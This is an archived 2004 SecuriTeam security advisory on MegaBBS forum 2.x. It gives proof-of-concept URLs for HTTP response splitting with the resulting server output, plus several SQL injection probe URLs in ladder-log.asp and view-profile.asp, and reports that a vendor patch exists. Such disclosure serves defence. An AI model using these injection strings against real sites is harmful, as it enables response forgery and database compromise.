

# [NT] HTTP Response Splitting and SQL Injection in Megabbs Forum

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-10/0002.html>

---

*From:* SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

*Date:* 10/01/04

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 1 Oct 2004 09:55:08 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

HTTP Response Splitting and SQL Injection in Megabbs Forum

---

## SUMMARY

<<http://www.pd9soft.com/megabbs-support/index.asp>> MegaBBS is "a complete, fully featured ASP website system. Includes an extremely powerful forum, calendars, polls, and photo albums. Best of all, it's completely free! Find out why MegaBBS is one of the fastest growing ASP messaging portals available today."

Multiple vulnerabilities in MegaBBS allow a malicious attacker to control HTTP header response from the server running the application and run arbitrary SQL commands on the target machine's database.

## DETAILS

Vulnerable Systems:

\* MegaBBS Version 2.x

HTTP Response Splitting:

MegaBBS does not properly filter user input characters while redirecting to a different page. This allows a malicious attacker to control the HTTP response from the server.

## Securiteam: [NT] HTTP Response Splitting and SQL Injection in Megabbs Forum

Example1 (URL wraps):

<http://www.example.com/megabbs/forums/thread-post.asp?action=writenew&fid=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2033%0d%0a%0d%0a%3chtml%3eScanned%20by%20Maxpatrol%3c/html%3e%0d%0a&tid=4924&replyto=22947&displaytype=flat>

Server result:

HTTP/1.1 302 Object moved  
Connection: close  
Date: Sun, 26 Sep 2004 14:14:02 GMT  
Server: Microsoft-IIS/6.0  
Location: /megabbs/forums/forum-view.asp?fid=  
Content-Length: 0

HTTP/1.0 200 OK  
Content-Type: text/html  
Content-Length: 33

Scanned by Maxpatrol

Content-Length: 290  
Content-Type: text/html  
Expires: Sun, 26 Sep 2004 14:13:02 GMT  
Set-Cookie: guestID=309; path=/  
Set-Cookie: ASPSESSIONIDAQRTADCB=KNEIJIJEDJPNKPNFONOIFL; path=/  
Cache-control

Example2 (URL wraps):

<http://www.example.com/megabbs/forums/thread-post.asp?fid=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2033%0d%0a%0d%0a%3chtml%3eScanned%20by%20Maxpatrol%3c/html%3e%0d%0a&action=writenew&displaytype=flat>

Result:

HTTP/1.1 302 Object moved  
Connection: close  
Date: Sun, 26 Sep 2004 14:34:05 GMT  
Server: Microsoft-IIS/6.0  
Location: /megabbs/forums/forum-view.asp?fid=  
Content-Length: 0

HTTP/1.0 200 OK  
Content-Type: text/html  
Content-Length: 33

Scanned by Maxpatrol

Content-Length: 290  
Content-Type: text/html

Securiteam: [NT] HTTP Response Splitting and SQL Injection in Megabbs Forum

Expires: Sun, 26 Sep 2004 14:33:05 GMT

Set-Cookie: guestID=421; path=/  
Set-Cookie: ASPSESSIONIDAQRTADCB=HCGIJIEDMBPIHPCDJFKACJAC; path=/  
Cache-control

Multiple SQL injection:

In ladder-log.asp page:

ladder-log.asp?categoryid=1&sortby=completeddate&sortdir=1'

ladder-log.asp?categoryid=1&filter=id&criteria=1'

in view-profile.asp page:

view-profile.asp?type=single&memberid=1'

view-profile.asp?type=team&teamid=1'

Vendor Status:

A patch addressing these issues has been released and can be obtained at:

<<http://www.pd9soft.com/megabbs/forums/thread-view.asp?tid=4924>>

<http://www.pd9soft.com/megabbs/forums/thread-view.asp?tid=4924>

ADDITIONAL INFORMATION

The information has been provided by <<mailto:pigrelax@yandex.ru>>  
pigrelax.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.